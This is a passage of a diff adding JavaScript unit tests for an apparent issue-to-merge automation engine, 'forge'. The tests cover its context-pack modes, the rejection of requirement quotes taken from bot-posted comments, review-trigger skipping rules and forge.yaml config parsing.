assert.ok(plan.startsWith(builderPlanPrompt(7)));
|
|
3954
|
+
assert.match(plan, /Context pack \(hints, not proof[\s\S]*- #3 \[parent\] OPEN "Epic"[\s\S]*zebra protocol/);
|
|
3955
|
+
assert.equal(w.packCalls.length, 1);
|
|
3956
|
+
assert.equal(w.packCalls[0].base, "origin/staging");
|
|
3957
|
+
assert.equal(ctx(w).length, 1);
|
|
3958
|
+
assert.match(ctx(w)[0], /<details><summary>Context pack: 2 item\(s\), \d+ bytes, 0 dropped \(mode on, lane first/);
|
|
3959
|
+
const ev = readLog(dir, 7).find((e) => e.event === "CONTEXT_PACK");
|
|
3960
|
+
assert.deepEqual([ev.mode, ev.lane_type, ev.items, ev.sources.graph, ev.sources.facts, ev.cached], ["on", "first", 2, 1, 1, false]);
|
|
3961
|
+
assert.ok(ev.bytes > 0 && Number.isInteger(ev.truncated));
|
|
3962
|
+
assert.ok(w.telemetry.some((x) => x.event === "CONTEXT_PACK"));
|
|
3963
|
+
const term = readLog(dir, 7).find((e) => e.event === "RUN_TERMINAL");
|
|
3964
|
+
assert.deepEqual([term.context_pack, term.lane_type], ["on", "first"]);
|
|
3965
|
+
});
|
|
3966
|
+
|
|
3967
|
+
it("contract validation never accepts a quote that occurs only in a FORGE:CONTEXT (or any engine-posted <!-- FORGE:) comment (#4297)", async () => {
|
|
3968
|
+
const Q = "the zebra protocol must be kept by every caller of foo.";
|
|
3969
|
+
const k = { ...CONTRACT, requirements: [...CONTRACT.requirements, { id: "R2", quote: Q, disposition: "deliver" }] };
|
|
3970
|
+
const withComment = (body, association) => { const w = world({ contract: k, fixedContract: k, reviews: [conf({}, k)] }); const gh = w.io.gh;
|
|
3971
|
+
w.io.gh = async (a) => { const out = await gh(a); if (a.slice(0, 2).join(" ") !== "issue view" || a.includes("milestone")) return out;
|
|
3972
|
+
return JSON.stringify({ ...JSON.parse(out), comments: [{ body, authorAssociation: association, author: { login: association === "NONE" ? "forge[bot]" : "maint" } }] }); };
|
|
3973
|
+
return w; };
|
|
3974
|
+
for (const body of [`<!-- FORGE:CONTEXT -->\n<details>\n${Q}\n</details>`, ` <!-- FORGE:DECISION -->\n${Q}`]) {
|
|
3975
|
+
const r = await run(withComment(body, "NONE"));
|
|
3976
|
+
assert.equal(r.code, "contract.invalid", body);
|
|
3977
|
+
}
|
|
3978
|
+
// P2: the same quote from a maintainer's comment stays quotable
|
|
3979
|
+
assert.equal((await run(withComment(`Also: ${Q}`, "OWNER"))).terminalReason, "merged");
|
|
3980
|
+
});
|
|
3981
|
+
|
|
3982
|
+
it("shadow (default): compiled and recorded, the plan prompt is unchanged", async () => {
|
|
3983
|
+
const w = withPack(), off = world(), dir = tmpDir("core-");
|
|
3984
|
+
await run(w, { dir });
|
|
3985
|
+
await run(off, { contextPack: { mode: "off" } });
|
|
3986
|
+
assert.equal(builders(w)[0][4], builders(off)[0][4]);
|
|
3987
|
+
assert.ok(!builders(w)[0][4].includes("Context pack"));
|
|
3988
|
+
assert.equal(ctx(w).length, 1);
|
|
3989
|
+
assert.equal(readLog(dir, 7).find((e) => e.event === "CONTEXT_PACK").mode, "shadow");
|
|
3990
|
+
});
|
|
3991
|
+
|
|
3992
|
+
it("off: no gathering, no record, no event; the run is today's", async () => {
|
|
3993
|
+
const w = withPack(), dir = tmpDir("core-");
|
|
3994
|
+
const r = await run(w, { dir, contextPack: { mode: "off" } });
|
|
3995
|
+
assert.equal(r.terminalReason, "merged");
|
|
3996
|
+
assert.equal(w.packCalls.length, 0);
|
|
3997
|
+
assert.equal(ctx(w).length, 0);
|
|
3998
|
+
assert.ok(!readLog(dir, 7).some((e) => e.event === "CONTEXT_PACK"));
|
|
3999
|
+
assert.ok(!w.telemetry.some((x) => x.event === "CONTEXT_PACK"));
|
|
4000
|
+
assert.equal(readLog(dir, 7).find((e) => e.event === "RUN_TERMINAL").context_pack, "off");
|
|
4001
|
+
});
|
|
4002
|
+
|
|
4003
|
+
it("a contract cannot quote the pack: requirements are checked against the issue only", async () => {
|
|
4004
|
+
const bad = { ...CONTRACT, requirements: [{ id: "R1", quote: "Parent says: the zebra protocol must be kept.", disposition: "deliver" }] };
|
|
4005
|
+
const w = withPack({ contract: bad });
|
|
4006
|
+
const r = await run(w, { contextPack: { mode: "on" } });
|
|
4007
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
4008
|
+
assert.equal(r.code, OUTCOME_CODES.CONTRACT_INVALID);
|
|
4009
|
+
});
|
|
4010
|
+
|
|
4011
|
+
it("a gather failure never fails the run: anomaly, prompt unchanged", async () => {
|
|
4012
|
+
const w = world(); w.io.contextFacts = async () => { throw new Error("gh down"); };
|
|
4013
|
+
const r = await run(w, { contextPack: { mode: "on" } });
|
|
4014
|
+
assert.equal(r.terminalReason, "merged");
|
|
4015
|
+
assert.ok(!builders(w)[0][4].includes("Context pack"));
|
|
4016
|
+
assert.ok(traj(w)[0].includes("Context pack not compiled"));
|
|
4017
|
+
});
|
|
4018
|
+
|
|
4019
|
+
it("write-back: the terminal FORGE:STATE carries the typed outcome code and failure classes the compiler reads", async () => {
|
|
4020
|
+
const w = world({ reviews: [bad(), bad()] });
|
|
4021
|
+
w.leaseWrites = []; w.io.projector = { readState: async () => null, writeState: async (_i, st) => { w.leaseWrites.push(st); } };
|
|
4022
|
+
const r = await run(w);
|
|
4023
|
+
assert.equal(r.terminalReason, "needs-human");
|
|
4024
|
+
const last = w.leaseWrites.at(-1);
|
|
4025
|
+
assert.deepEqual([last.terminal, last.terminalReason, last.terminalCode, last.failureClasses], [true, "needs-human", OUTCOME_CODES.CONFORMANCE_UNIMPLEMENTED, [OUTCOME_CODES.CONFORMANCE_UNIMPLEMENTED]]);
|
|
4026
|
+
const m = world(); m.leaseWrites = []; m.io.projector = { readState: async () => null, writeState: async (_i, st) => { m.leaseWrites.push(st); } };
|
|
4027
|
+
await run(m);
|
|
4028
|
+
assert.deepEqual([m.leaseWrites.at(-1).terminalCode, m.leaseWrites.at(-1).failureClasses], [OUTCOME_CODES.COMPLETED, []]);
|
|
4029
|
+
});
|
|
4030
|
+
|
|
4031
|
+
it("forge.yaml engine.context_pack* is read flat; invalid mode is ignored", () => {
|
|
4032
|
+
const d = tmpDir("ctxcfg-");
|
|
4033
|
+
writeFileSync(join(d, "forge.yaml"), "engine:\n context_pack: on\n context_pack_sources: graph,attempts\n context_pack_bytes: 4096\n");
|
|
4034
|
+
assert.deepEqual(readContextPack(d), { mode: "on", sources: "graph,attempts", bytes: 4096 });
|
|
4035
|
+
writeFileSync(join(d, "forge.yaml"), "engine:\n context_pack: maybe\n");
|
|
4036
|
+
assert.equal(readContextPack(d), undefined);
|
|
4037
|
+
writeFileSync(join(d, "forge.yaml"), "engine:\n conformance: shadow\n");
|
|
4038
|
+
assert.equal(readContextPack(d), undefined);
|
|
4039
|
+
});
|
|
4040
|
+
});
|
|
4041
|
+
|
|
4042
|
+
describe("review trigger (#4273): shadow logs and always reviews, enforce skips untriggered lanes, off is today", () => {
|
|
4043
|
+
const cold = (o) => { const w = world(o); w.io.hotspots = async () => ({ enabled: true, file_lines: 2000, growth_lines: 150, files: [] }); return w; };
|
|
4044
|
+
const trig = (dir) => readLog(dir, 7).filter((e) => e.event === "REVIEW_TRIGGER");
|
|
4045
|
+
const reviewNote = (w) => w.comments.find((c) => c.includes("<!-- FORGE:REVIEW -->")) ?? "";
|
|
4046
|
+
|
|
4047
|
+
it("shadow (the default): the reviewer runs and the run log has REVIEW_TRIGGER {would_skip, reasons}", async () => {
|
|
4048
|
+
const dir = tmpDir("trig-"), w = cold({ reviews: [conf()] });
|
|
4049
|
+
const r = await run(w, { dir });
|
|
4050
|
+
assert.equal(r.terminalReason, "merged"); assert.equal(reviewers(w).length, 1);
|
|
4051
|
+
assert.deepEqual(trig(dir).map(({ mode, would_skip, reasons, skipped }) => ({ mode, would_skip, reasons, skipped })), [{ mode: "shadow", would_skip: true, reasons: [], skipped: false }]);
|
|
4052
|
+
});
|
|
4053
|
+
|
|
4054
|
+
it("enforce: an untriggered lane skips the reviewer, merges, and records why", async () => {
|
|
4055
|
+
for (const conformance of ["enforce", "shadow"]) {
|
|
4056
|
+
const dir = tmpDir("trig-"), w = cold({ reviews: [conf()] });
|
|
4057
|
+
const r = await run(w, { dir, conformance, reviewTrigger: { mode: "enforce", riskPaths: [] } });
|
|
4058
|
+
assert.equal(r.terminalReason, "merged", conformance); assert.equal(reviewers(w).length, 0, conformance);
|
|
4059
|
+
assert.deepEqual([trig(dir)[0].would_skip, trig(dir)[0].skipped], [true, true]);
|
|
4060
|
+
assert.match(reviewNote(w), /Skipped by `review\.trigger: enforce`/);
|
|
4061
|
+
assert.match(traj(w)[0], /\| Review \| skipped \(review\.trigger enforce: no risk trigger\) \|/);
|
|
4062
|
+
assert.match(traj(w)[0], /Conformance reviewer skipped by review\.trigger enforce/);
|
|
4063
|
+
}
|
|
4064
|
+
});
|
|
4065
|
+
|
|
4066
|
+
const AUTH = { ...CONTRACT, deliverables: [{ ...CONTRACT.deliverables[0], path: "src/auth/session.js" }] };
|
|
4067
|
+
it("enforce: a risk path, a configured glob, a hotspot or missing hotspot facts still run the reviewer", async () => {
|
|
4068
|
+
const cases = [
|
|
4069
|
+
{ w: cold({ contract: AUTH, changed: ["src/auth/session.js", "test/foo.test.js"], reviews: [conf({}, AUTH, ["src/auth/session.js", "test/foo.test.js"])] }), reason: "risk_path" },
|
|
4070
|
+
{ w: cold({ reviews: [conf()] }), riskPaths: ["src/**"], reason: "risk_path" },
|
|
4071
|
+
{ w: world({ reviews: [conf()] }), reason: "gate.ambiguous" },
|
|
4072
|
+
];
|
|
4073
|
+
const hot = cold({ reviews: [conf()] });
|
|
4074
|
+
hot.io.hotspots = async () => ({ enabled: true, file_lines: 2000, growth_lines: 150, files: [{ path: "src/foo.js", lines: 2400, over: true, excluded: false, growth: 0 }] });
|
|
4075
|
+
cases.push({ w: hot, reason: "hotspot" });
|
|
4076
|
+
for (const c of cases) {
|
|
4077
|
+
const dir = tmpDir("trig-");
|
|
4078
|
+
await run(c.w, { dir, reviewTrigger: { mode: "enforce", riskPaths: c.riskPaths ?? [] } });
|
|
4079
|
+
assert.equal(reviewers(c.w).length, 1, c.reason);
|
|
4080
|
+
assert.deepEqual([trig(dir)[0].would_skip, trig(dir)[0].skipped, trig(dir)[0].reasons.includes(c.reason)], [false, false, true], c.reason);
|
|
4081
|
+
}
|
|
4082
|
+
});
|
|
4083
|
+
|
|
4084
|
+
it("off: the reviewer runs and nothing is computed or logged", async () => {
|
|
4085
|
+
const dir = tmpDir("trig-"), w = cold({ reviews: [conf()] });
|
|
4086
|
+
assert.equal((await run(w, { dir, reviewTrigger: { mode: "off", riskPaths: [] } })).terminalReason, "merged");
|
|
4087
|
+
assert.equal(reviewers(w).length, 1); assert.deepEqual(trig(dir), []);
|
|
4088
|
+
});
|
|
4089
|
+
|
|
4090
|
+
it("readReviewTrigger reads review.trigger and review.risk_paths (comma or block list); invalid or absent is unset", async () => {
|
|
4091
|
+
const { readReviewTrigger } = await import("../engine-cli.mjs");
|
|
4092
|
+
const at = (yaml) => { const d = tmpDir("rtcfg-"); mkdirSync(d, { recursive: true }); writeFileSync(join(d, "forge.yaml"), yaml); return readReviewTrigger(d); };
|
|
4093
|
+
assert.deepEqual(at('review:\n trigger: enforce\n risk_paths: "db/**, *.sql"\n'), { mode: "enforce", riskPaths: ["db/**", "*.sql"] });
|
|
4094
|
+
assert.deepEqual(at("review:\n tech_stack: x\n risk_paths:\n - \"infra/**\"\n - lib/acct/*.ts # c\n trigger: bogus\n"), { mode: "shadow", riskPaths: ["infra/**", "lib/acct/*.ts"] });
|
|
4095
|
+
assert.equal(at("engine:\n path: core\n"), undefined);
|
|
4096
|
+
});
|
|
4097
|
+
});
|